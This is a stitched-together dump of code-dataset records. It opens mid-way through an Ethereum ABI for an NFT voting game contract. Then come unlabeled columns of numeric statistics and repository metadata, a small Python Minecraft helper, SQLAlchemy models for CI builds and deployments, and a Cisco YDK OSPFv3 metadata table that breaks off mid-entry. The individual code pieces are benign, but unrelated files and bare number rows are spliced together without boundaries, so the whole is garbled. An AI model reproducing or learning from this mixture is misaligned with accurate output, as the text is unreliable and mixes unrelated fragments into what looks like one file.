"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPastTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPastVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"mintNFT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"exile","outputs":[{"components":[{"internalType":"string","name":"name","type":"string"},{"internalType":"uint256","name":"roundsSurvived","type":"uint256"},{"internalType":"bool","name":"exiled","type":"bool"}],"internalType":"structCitizens.Citizen","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startGame","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"gameStarted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getCitizen","outputs":[{"components":[{"internalType":"string","name":"name","type":"string"},{"internalType":"uint256","name":"roundsSurvived","type":"uint256"},{"internalType":"bool","name":"exiled","type":"bool"}],"internalType":"structCitizens.Citizen","name":"","type":"tuple"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[],"name":"maxActiveVoters","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getTokenIdFromOwner","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[],"name":"resetGame","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCitizens","outputs":[{"components":[{"internalType":"string","name":"name","type":"string"},{"internalType":"uint256","name":"roundsSurvived","type":"uint256"},{"internalType":"bool","name":"exiled","type":"bool"}],"internalType":"structCitizens.Citizen[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function","constant":true},{"inputs":[],"name":"totalCitizens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true}]'
contract_address = "0x433Aa7396F4725cD673181787beC98b442F80b16"
address = ""
| 1,226.125
| 9,650
| 0.669691
| 948
| 9,809
| 6.922996
| 0.105485
| 0.082127
| 0.119153
| 0.099192
| 0.845193
| 0.822337
| 0.798568
| 0.6913
| 0.66814
| 0.645894
| 0
| 0.027976
| 0.001529
| 9,809
| 7
| 9,651
| 1,401.285714
| 0.642128
| 0
| 0
| 0
| 0
| 0.25
| 0.992558
| 0.986339
| 0
| 0
| 0.004282
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
7d884e33a97a1e2c856da10f100debf88d04bf90
| 110
|
py
|
Python
|
tools/minecraft_vanilla/players.py
|
kevinkjt2000/minecraft-spot
|
292fae6f9c927f418b5be9e5ae3f3d6dba855ac9
|
[
"MIT"
] | 12
|
2019-04-02T04:41:03.000Z
|
2021-08-21T03:08:46.000Z
|
tools/minecraft_vanilla/players.py
|
kevinkjt2000/minecraft-spot
|
292fae6f9c927f418b5be9e5ae3f3d6dba855ac9
|
[
"MIT"
] | 6
|
2019-07-06T08:19:19.000Z
|
2022-02-26T10:17:19.000Z
|
tools/minecraft_vanilla/players.py
|
kevinkjt2000/minecraft-spot
|
292fae6f9c927f418b5be9e5ae3f3d6dba855ac9
|
[
"MIT"
] | 7
|
2019-09-28T16:52:18.000Z
|
2021-07-24T11:58:56.000Z
|
import spot_tools.minecraft.players
def get_players():
return spot_tools.minecraft.players.get_players()
| 22
| 53
| 0.809091
| 15
| 110
| 5.666667
| 0.533333
| 0.211765
| 0.423529
| 0.588235
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 110
| 4
| 54
| 27.5
| 0.858586
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 10
|
7d918a8bf0e0db3a29a01eaae52141ec1faa2c27
| 1,256
|
py
|
Python
|
wall/models.py
|
thatarchguy/jenkins-ci-hud
|
ad03f26ea195a92822b4ddb93514985ce5fee377
|
[
"MIT"
] | 1
|
2015-08-09T10:43:28.000Z
|
2015-08-09T10:43:28.000Z
|
wall/models.py
|
thatarchguy/jenkins-ci-hud
|
ad03f26ea195a92822b4ddb93514985ce5fee377
|
[
"MIT"
] | 1
|
2015-10-13T08:52:43.000Z
|
2015-10-13T21:34:53.000Z
|
wall/models.py
|
thatarchguy/jenkins-ci-hud
|
ad03f26ea195a92822b4ddb93514985ce5fee377
|
[
"MIT"
] | null | null | null |
from wall import db
import datetime
class ContinuousBuilds(db.Model):
"""
Database model for CI builds
"""
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(50))
number = db.Column(db.Integer)
phase = db.Column(db.String(50))
status = db.Column(db.String(50))
sourceBranch = db.Column(db.String(50))
targetBranch = db.Column(db.String(50))
full_url = db.Column(db.String(144))
date_added = db.Column(db.String(20))
date_modified = db.Column(db.String(20))
def as_dict(self):
return {c.name: getattr(self, c.name) for c in self.__table__.columns}
class Deployments(db.Model):
"""
Database model for Deployments
"""
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(50))
number = db.Column(db.Integer)
phase = db.Column(db.String(50))
status = db.Column(db.String(50))
sourceBranch = db.Column(db.String(50))
full_url = db.Column(db.String(144))
date_added = db.Column(db.String(20))
date_modified = db.Column(db.String(20))
def __repr__(self):
return '<build %r>' % (self.number)
def as_dict(self):
return {c.name: getattr(self, c.name) for c in self.__table__.columns}
| 29.209302
| 78
| 0.650478
| 187
| 1,256
| 4.251337
| 0.251337
| 0.191195
| 0.238994
| 0.301887
| 0.838994
| 0.781132
| 0.781132
| 0.781132
| 0.781132
| 0.781132
| 0
| 0.031873
| 0.200637
| 1,256
| 42
| 79
| 29.904762
| 0.75996
| 0.046975
| 0
| 0.758621
| 0
| 0
| 0.008576
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.103448
| false
| 0
| 0.068966
| 0.103448
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 11
|
7da7f83165f7b6023e39ba7bd28dde433b31b2a7
| 696,077
|
py
|
Python
|
cisco-ios-xr/ydk/models/cisco_ios_xr/_meta/_Cisco_IOS_XR_ipv6_ospfv3_cfg.py
|
tkamata-test/ydk-py
|
b637e7853a8edbbd31fbc05afa3aa4110b31c5f9
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
cisco-ios-xr/ydk/models/cisco_ios_xr/_meta/_Cisco_IOS_XR_ipv6_ospfv3_cfg.py
|
tkamata-test/ydk-py
|
b637e7853a8edbbd31fbc05afa3aa4110b31c5f9
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
cisco-ios-xr/ydk/models/cisco_ios_xr/_meta/_Cisco_IOS_XR_ipv6_ospfv3_cfg.py
|
tkamata-test/ydk-py
|
b637e7853a8edbbd31fbc05afa3aa4110b31c5f9
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
import re
import collections
from enum import Enum
from ydk._core._dm_meta_info import _MetaInfoClassMember, _MetaInfoClass, _MetaInfoEnum
from ydk.types import Empty, YList, YLeafList, DELETE, Decimal64, FixedBitsDict
from ydk._core._dm_meta_info import ATTRIBUTE, REFERENCE_CLASS, REFERENCE_LIST, REFERENCE_LEAFLIST, REFERENCE_IDENTITY_CLASS, REFERENCE_ENUM_CLASS, REFERENCE_BITS, REFERENCE_UNION
from ydk.errors import YPYError, YPYModelError
from ydk.providers._importer import _yang_ns
_meta_table = {
'Ospfv3DomainIdEnum' : _MetaInfoEnum('Ospfv3DomainIdEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'type0005':'type0005',
'type0105':'type0105',
'type0205':'type0205',
'type8005':'type8005',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3NetworkEnum' : _MetaInfoEnum('Ospfv3NetworkEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'broadcast':'broadcast',
'non-broadcast':'non_broadcast',
'point-to-point':'point_to_point',
'point-to-multipoint':'point_to_multipoint',
'non-broadcast-point-to-multipoint':'non_broadcast_point_to_multipoint',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3MetricEnum' : _MetaInfoEnum('Ospfv3MetricEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'type1':'type1',
'type2':'type2',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3AuthenticationType2Enum' : _MetaInfoEnum('Ospfv3AuthenticationType2Enum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'null':'null',
'md5':'md5',
'sha1':'sha1',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3FastReroutePriorityEnum' : _MetaInfoEnum('Ospfv3FastReroutePriorityEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'critical':'critical',
'high':'high',
'medium':'medium',
'low':'low',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3BfdEnableModeEnum' : _MetaInfoEnum('Ospfv3BfdEnableModeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'disable':'disable',
'default':'default',
'strict':'strict',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3LogAdjEnum' : _MetaInfoEnum('Ospfv3LogAdjEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'suppress':'suppress',
'brief':'brief',
'detail':'detail',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3FastRerouteEnum' : _MetaInfoEnum('Ospfv3FastRerouteEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'none':'none',
'per-link':'per_link',
'per-prefix':'per_prefix',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3IsisRouteEnum' : _MetaInfoEnum('Ospfv3IsisRouteEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'level1':'level1',
'level2':'level2',
'level1-and2':'level1_and2',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3NssaExternalRouteEnum' : _MetaInfoEnum('Ospfv3NssaExternalRouteEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'external1':'external1',
'external2':'external2',
'external':'external',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3ExternalRouteEnum' : _MetaInfoEnum('Ospfv3ExternalRouteEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'external1':'external1',
'external2':'external2',
'external':'external',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3NsrEnum' : _MetaInfoEnum('Ospfv3NsrEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'true':'true',
'false':'false',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'TraceBufSizeEnum' : _MetaInfoEnum('TraceBufSizeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'disable':'disable',
'one':'one',
'two':'two',
'three':'three',
'four':'four',
'five':'five',
'six':'six',
'seven':'seven',
'eight':'eight',
'nine':'nine',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3AddressFamilyEnum' : _MetaInfoEnum('Ospfv3AddressFamilyEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'ipv6':'ipv6',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3ProtocolEnum' : _MetaInfoEnum('Ospfv3ProtocolEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'all':'all',
'connected':'connected',
'static':'static',
'bgp':'bgp',
'isis':'isis',
'ospfv3':'ospfv3',
'eigrp':'eigrp',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3EncryptionAlgorithmEnum' : _MetaInfoEnum('Ospfv3EncryptionAlgorithmEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'null':'null',
'des':'des',
'3des':'Y_3des',
'aes':'aes',
'aes192':'aes192',
'aes256':'aes256',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3ProtocolType2Enum' : _MetaInfoEnum('Ospfv3ProtocolType2Enum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'connected':'connected',
'static':'static',
'bgp':'bgp',
'isis':'isis',
'ospfv3':'ospfv3',
'eigrp':'eigrp',
'subscriber':'subscriber',
'application':'application',
'mobile':'mobile',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3SubsequentAddressFamilyEnum' : _MetaInfoEnum('Ospfv3SubsequentAddressFamilyEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'unicast':'unicast',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3EigrpRouteEnum' : _MetaInfoEnum('Ospfv3EigrpRouteEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'internal':'internal',
'external':'external',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3FastRerouteTiebreakersEnum' : _MetaInfoEnum('Ospfv3FastRerouteTiebreakersEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'downstream':'downstream',
'line-card-disjoint':'line_card_disjoint',
'lowest-metric':'lowest_metric',
'node-protect':'node_protect',
'primary-path':'primary_path',
'secondary-path':'secondary_path',
'srlg-disjoint':'srlg_disjoint',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3AuthenticationEnum' : _MetaInfoEnum('Ospfv3AuthenticationEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'md5':'md5',
'sha1':'sha1',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3InternalRouteEnum' : _MetaInfoEnum('Ospfv3InternalRouteEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg',
{
'internal':'internal',
}, 'Cisco-IOS-XR-ipv6-ospfv3-cfg', _yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg']),
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Ranges.Range' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Ranges.Range',
False,
[
_MetaInfoClassMember('prefix', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' IPv6 prefix format
''',
'prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('prefix-length', ATTRIBUTE, 'int' , None, None,
[('0', '128')], [],
''' IPV6 prefix length
''',
'prefix_length',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Specified metric for this range
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('not-advertise', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Do not advertise address range
''',
'not_advertise',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'range',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Ranges' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Ranges',
False,
[
_MetaInfoClassMember('range', REFERENCE_LIST, 'Range' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Ranges.Range',
[], [],
''' Summarize inter-area routes matching
prefix/length
''',
'range',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ranges',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Nssa' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Nssa',
False,
[
_MetaInfoClassMember('default-info-originate', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Originate Type 7 default into NSSA area
''',
'default_info_originate',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' Only valid with DefaultInfoOriginate
''',
'metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' Only valid with DefaultInfoOriginate
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('no-redistribution', ATTRIBUTE, 'bool' , None, None,
[], [],
''' No redistribution into this NSSA area
''',
'no_redistribution',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('no-summary', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Do not send summary LSA into NSSA
''',
'no_summary',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'nssa',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable or disable database-filter
''',
'out',
